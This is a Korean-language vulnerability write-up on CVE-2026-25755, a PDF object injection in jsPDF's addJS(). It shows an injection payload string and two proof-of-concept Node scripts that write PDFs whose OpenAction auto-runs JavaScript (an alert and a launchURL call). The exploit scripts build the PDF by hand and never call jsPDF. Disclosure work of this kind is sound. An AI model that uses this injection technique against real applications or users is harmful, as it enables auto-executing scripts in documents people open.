
CVE-2026-25755 jsPDF의 심각한 PDF 객체 주입 취약점으로, 공격자가 addJS() 함수를 통해 임의의 PDF 객체를 주입할 수 있어 AcroJS 샌드박스 우회 및 PDF가 열릴 때 자동 스크립트 실행이 가능합니다.
jsPDF에서 치명적인 PDF 객체 주입 취약점(CVE-2026-25755)이 발견되었습니다. jsPDF는 클라이언트 측 애플리케이션에서 PDF 문서를 생성하는 데 널리 사용되는 JavaScript 라이브러리입니다. 이 취약점은 addJS() 함수에 존재하며, 공격자가 부적절한 입력 검증을 통해 임의의 PDF 객체를 주입하고 AcroJS 샌드박스 제한을 우회할 수 있게 합니다.
jsPDF의 addJS() 함수는 개발자가 생성된 PDF 파일 내에 JavaScript 코드를 삽입할 수 있게 합니다. 그러나 버전 4.2.0 이전에는 특수 PDF 구문 문자를 포함한 사용자 입력을 제대로 검증하지 못했습니다.
function addJS(javascript) {
this.internal.write("/JS (" + javascript + ")");
}
이 함수는 이스케이프 처리 없이 사용자 입력을 PDF 객체 스트림에 직접 연결합니다:
()\이로 인해 공격자는 JavaScript 문자열 컨텍스트를 조기에 종료하고 임의의 PDF 객체를 주입할 수 있습니다.
/JS (app.alert('Hello World'))
const payload = ") >> /AA << /Open << /S /JavaScript /JS (app.alert('absholi7ly!')) >> >> /Dummy (";
/JS () >> /AA << /Open << /S /JavaScript /JS (app.alert('Hacked!')) >> >> /Dummy ())
↑
주입 지점 - 문자열 컨텍스트 이스케이프됨
| 단계 | 동작 | 결과 |
|---|---|---|
| 1 | )가 원래 /JS 문자열을 닫음 | 문자열 컨텍스트 종료 |
| 2 | >>가 현재 PDF 객체를 닫음 | 객체 구조 손상 |
| 3 | /AA << /Open << ... | 새 작업 사전 주입 |
| 4 | 임의의 PDF 객체 추가 | 완전한 객체 주입 달성 |
exploit.js라는 파일을 만들고 다음 내용을 작성하세요.
import fs from 'fs';
const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(
app.launchURL\\('https://google.com',true\\);
)>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f
0000000015 00000 n
0000000092 00000 n
0000000275 00000 n
0000000352 00000 n
trailer
<</Size 5/Root 1 0 R>>
startxref
431
%%EOF`;
fs.writeFileSync('exploit.pdf', pdf);
import fs from 'fs';
const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(app.alert\\('absholi7ly',3\\))>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f
0000000015 00000 n
0000000089 00000 n
0000000172 00000 n
0000000249 00000 n
trailer
<</Size 5/Root 1 0 R>>
startxref
328
%%EOF`;
fs.writeFileSync('exploit.pdf', pdf);
node exploit.js 실행